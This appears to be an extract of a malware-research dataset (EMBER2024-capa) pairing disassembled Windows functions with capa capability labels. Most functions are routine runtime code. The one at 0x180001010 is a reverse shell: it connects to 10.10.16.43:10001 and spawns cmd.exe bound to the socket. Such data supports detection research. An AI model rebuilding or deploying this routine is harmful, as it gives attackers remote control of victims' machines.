joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008bf8
Capabilities:
Get thread local storage value

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov eax, dword [0x14001f008]
test eax, eax
je 0x140008dae
add eax, 0xffffffff
mov dword [0x14001f008], eax
jne 0x140008dae
mov rsi, qword [0x14001f020]
and qword [0x14001f020], 0
lea rbx, [0x140008640]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
cmp rbx, rax
cmove rax, qword [0x14001f010]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
and qword [0x14001f010], 0
mov ecx, dword [0x14001e2a0]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsFree]
or dword [0x14001e2a0], 0xffffffff
mov ecx, dword [0x14001e2a4]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140008cec
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140008cc7
mov rax, qword [rax]
jmp 0x140008cb2
mov rcx, rdi
call fcn.140008dc0
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140008cc7
mov rax, qword [rbx]
mov rdi, qword [rax + rdx*8 - 8]
dec rdx
mov rcx, rbx
call fcn.140009b24
test rdi, rdi
jne 0x140008c9e
mov rdi, qword [rbx]
test rdi, rdi
je 0x140008ce4
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop
mov rcx, rbx
call sub.msvcrt.dll_free
mov ecx, dword [0x14001e2a4]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsFree]
or dword [0x14001e2a4], 0xffffffff
lea rcx, [0x14001eea8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
mov rdx, qword [0x14001f000]
test rdx, rdx
je 0x140008d82
xor ebx, ebx
mov ecx, dword [0x14001f028]
test ecx, ecx
je 0x140008d54
mov rdi, qword [rdx + rbx*8]
test rdi, rdi
je 0x140008d4e
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
mov rdx, qword [0x14001f000]
mov ecx, dword [0x14001f028]
inc ebx
cmp ebx, ecx
jb 0x140008d24
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [0x14001f000]
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
and qword [0x14001f000], 0
and dword [0x14001f028], 0
and dword [0x14001f030], 0
lea rcx, [0x14001eea8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
test rsi, rsi
je 0x140008d9c
mov rcx, rsi
call fcn.14000d8bc
and dword [0x14001f018], 0
call fcn.14000a614
mov eax, dword [0x14001f008]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140009640
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor esi, esi
mov ecx, dword [0x14001e2a0]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsGetValue]
mov rdi, rax
test rax, rax
jne 0x1400097b7
lea rcx, [0x14001eea8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
nop
cmp qword [0x14001f000], rdi
jne 0x1400096b8
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
lea r8d, [rsi + 8]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapAlloc]
mov qword [0x14001f000], rax
lea ebx, [rsi + 1]
test rax, rax
je 0x140009764
xor eax, eax
mov dword [0x14001f030], eax
mov dword [0x14001f028], ebx
jmp 0x14000970e
mov eax, dword [0x14001f030]
mov ecx, dword [0x14001f028]
cmp eax, ecx
jne 0x140009709
lea ebx, [rcx + 1]
shl rbx, 3
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
mov r9, rbx
mov r8, qword [0x14001f000]
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapReAlloc]
mov ebx, 1
test rax, rax
je 0x140009764
mov qword [0x14001f000], rax
add dword [0x14001f028], ebx
mov eax, dword [0x14001f030]
jmp 0x14000970e
mov ebx, 1
mov ecx, eax
mov rax, qword [0x14001f000]
and qword [rax + rcx*8], 0
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x8018
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapAlloc]
mov rdi, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x140009764
add rax, 0x18
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], 0x8000
mov rdx, rdi
mov ecx, dword [0x14001e2a0]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsSetValue]
test eax, eax
cmovne esi, ebx
test esi, esi
je 0x140009783
mov edx, dword [0x14001f030]
mov rax, qword [0x14001f000]
mov qword [rax + rdx*8], rdi
add edx, ebx
mov dword [0x14001f030], edx
jmp 0x1400097a7
xor edx, edx
mov ecx, dword [0x14001e2a0]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsSetValue]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
xor edi, edi
lea rcx, [0x14001eea8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000b458
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x248
mov rax, qword [0x14001e288]
xor rax, rsp
mov qword [rsp + 0x230], rax
cmp dword [0x14001f0c0], 0
jne 0x14000b697
cmp dword [0x14001e5c8], 0
mov dword [0x14001f0c0], 1
mov dword [0x14001f080], ecx
je 0x14000b4b6
and dword [0x14001e5c8], 0
call qword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetVersion]
xor ecx, ecx
cmp eax, 0x80000000
setb cl
mov dword [0x14001f098], ecx
jmp 0x14000b4bc
mov ecx, dword [0x14001f098]
test ecx, ecx
je 0x14000b54a
lea rax, [0x14000b230]
mov qword [0x14001f050], rax
lea rcx, str.kernel32
lea rax, [0x14000b2c0]
mov qword [0x14001f0c8], rax
lea rax, [0x14000b380]
mov qword [0x14001f088], rax
lea rax, [0x14000afa0]
mov qword [0x14001f078], rax
lea rax, [0x14000b430]
mov qword [0x14001f060], rax
lea rax, [0x14000b440]
mov qword [0x14001f048], rax
lea rax, [0x14000b450]
mov qword [0x14001f070], rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_1_0.dll_GetModuleHandleW]
test rax, rax
je 0x14000b5ac
lea rdx, str.AddVectoredExceptionHandler
mov rcx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_1_0.dll_GetProcAddress]
jmp 0x14000b5ac
lea rax, [0x14000ac20]
mov qword [0x14001f050], rax
lea rax, [0x14000ad30]
mov qword [0x14001f0c8], rax
lea rax, [0x14000ae70]
mov qword [0x14001f088], rax
lea rax, [0x14000afa0]
mov qword [0x14001f078], rax
lea rax, [0x14000afb0]
mov qword [0x14001f060], rax
lea rax, [0x14000b080]
mov qword [0x14001f048], rax
lea rax, [0x14000b180]
mov qword [0x14001f070], rax
lea rax, [0x14000ab20]
xor edx, edx
mov qword [0x14001f040], rax
lea rcx, [rsp + 0x20]
lea rax, [0x14000ab40]
mov r8d, 0x208
mov qword [0x14001f0a8], rax
lea rax, [0x14000ab50]
mov qword [0x14001f058], rax
lea rax, [0x14000ab70]
mov qword [0x14001f0b0], rax
lea rax, [0x14000ab90]
mov qword [0x14001f0d0], rax
lea rax, [0x14000aba0]
mov qword [0x14001f0a0], rax
lea rax, [0x14000abe0]
mov qword [0x14001f0b8], rax
lea rax, [0x14000abf0]
mov qword [0x14001f090], rax
call sub.msvcrt.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x20]
lea rcx, str._windir__system32dbghelp.dll
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x14000b689
xor r8d, r8d
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_1_0.dll_LoadLibraryExW]
test rax, rax
jne 0x14000b677
lea rax, [fcn.14000ac10]
xor ecx, ecx
mov qword [0x14001f068], rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_1_0.dll_FreeLibrary]
jmp 0x14000b697
lea rdx, str.MiniDumpWriteDump
mov rcx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_1_0.dll_GetProcAddress]
jmp 0x14000b690
lea rax, [fcn.14000ac10]
mov qword [0x14001f068], rax
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140012130
add rsp, 0x248
ret
Function at 0x140011ed4
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140012760
add rsp, 0x28
jmp 0x140011ed4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push r14
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x14001f0e0], rbx
je 0x140011f1e
cmp rax, rbx
jne 0x140011f33
mov edi, 1
mov eax, dword [0x14001f0e8]
cmp eax, 1
jne 0x140011f40
lea ecx, [rax + 0x1e]
call fcn.1400b0000
jmp 0x140011fad
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140011f07
mov eax, dword [0x14001f0e8]
test eax, eax
jne 0x140011fa3
mov dword [0x14001f0e8], 1
lea r14, [0x140014e28]
lea rbx, [0x140014e10]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x24], eax
cmp rbx, r14
jae 0x140011f95
test eax, eax
jne 0x140011f99
cmp qword [rbx], 0
je 0x140011f8a
mov rax, qword [rbx]
mov rcx, qword [0x140014db0]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x140011f6b
test eax, eax
je 0x140011fad
mov eax, 0xff
jmp 0x140012102
mov dword [0x14001e5f4], 1
mov eax, dword [0x14001f0e8]
cmp eax, 1
jne 0x140011fd5
lea rdx, [0x140014e08]
lea rcx, [0x140014db8]
call sub.msvcrt.dll__initterm
mov dword [0x14001f0e8], 2
test edi, edi
jne 0x140011fe2
xor eax, eax
xchg qword [0x14001f0e0], rax
cmp qword [0x14001f100], 0
je 0x140012016
lea rcx, [0x14001f100]
call fcn.1400126e0
test eax, eax
je 0x140012016
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001f100]
mov r9, qword [0x140014db0]
call r9
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
mov cl, byte [rbx]
cmp cl, 0x20
ja 0x1400120a1
test cl, cl
je 0x140012038
test edi, edi
jne 0x1400120a1
dec cl
cmp cl, 0x1f
ja 0x14001204b
inc rbx
mov qword [rsp + 0x28], rbx
mov cl, byte [rbx]
jmp 0x140012038
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400015d4
mov dword [0x14001e5f0], eax
cmp dword [0x14001e610], 0
jne 0x14001208a
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001e5f4], 0
jne 0x14001209f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001e5f0]
jmp 0x140012102
cmp cl, 0x22
jne 0x1400120b3
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x1400120c8
inc rbx
mov qword [rsp + 0x28], rbx
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140012029
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r14
ret
Function at 0x1400125f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14001263c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012634
cmp dword [rcx + 0x3c], edx
jl 0x140012634
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140012634
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14001263c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x180001010
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rbp + 0x1e8], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [rbp + 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
mov dword [rbp - 0x18], 1
xorps xmm1, xmm1
mov dword [rbp - 0x14], 6
xor esi, esi
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x20]
mov qword [rsp + 0x50], rsi
lea rdx, str.10001
mov qword [rbp - 0x20], rsi
lea rcx, str.10.10.16.43
movdqu xmmword [rbp - 0x10], xmm0
movdqu xmmword [rbp], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rbx, qword [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
mov rdi, rax
call qword [sym.imp.WS2_32.dll_connect]
movups xmm1, xmmword [0x180003208]
mov qword [rbp - 0x30], rdi
xor eax, eax
xorps xmm0, xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rbp - 0x40], xmm0
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1b0]
movups xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x70]
xor r8d, r8d
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x40], rax
xor ecx, ecx
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x38], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x30], rsi
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x28], esi
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x70], 0x68
movups xmm0, xmmword [str.C:WINDOWSSYSTEM32CMD.EXE]
mov dword [rbp - 0x54], 0x101
mov word [rbp - 0x50], si
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp - 0x40], rdi
movups xmm0, xmmword [0x180003218]
mov qword [rbp - 0x38], rdi
movups xmmword [rbp + 0x1c0], xmm1
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x1d0], xmm0
movsd xmm0, qword [0x180003228]
movsd qword [rbp + 0x1e0], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x1e8]
xor rcx, rsp
call fcn.180001200
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001630
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rdx
cmp ecx, 2
jle 0x1400016da
mov rdx, qword [rdx + 8]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140001650
cmp qword [0x140008060], 0x10
lea rcx, str.8512
mov r8, qword [0x140008058]
cmovae rcx, qword [str.8512]
cmp r8, rax
jne 0x1400016da
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400016da
mov rdx, qword [rbx + 0x10]
call fcn.140001350
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000174e
mov rcx, qword [rsp + 0x50]
inc rdx
cmp rdx, 0x1000
jb 0x1400016c6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400016d3
mov rcx, r8
call fcn.14000338c
xor eax, eax
add rsp, 0x60
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [0x140008930]
lea rcx, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov rax, qword [0x140008938]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000174e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ebx, eax
call fcn.1400028b0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x140001af0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140001b18
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140001b3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001b40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001b99
test ecx, ecx
jle 0x140001b79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001b99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001b99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140001bc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140001be2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140001bf8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001c14
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001c16
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001c52
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140001cee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140001c8d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140001cce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140001cee
cmp rbx, rax
ja 0x140001ca0
test rbx, rbx
je 0x140001cee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140002110
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000213d
xor eax, eax
jmp 0x14000229a
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140002168
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140002168
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14000229a
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000228d
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400021ab
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400021d6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002292
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002245
sub eax, 1
je 0x140002245
cmp eax, 2
jne 0x14000228d
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002292
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002273
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000228d
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002292
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400030e0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret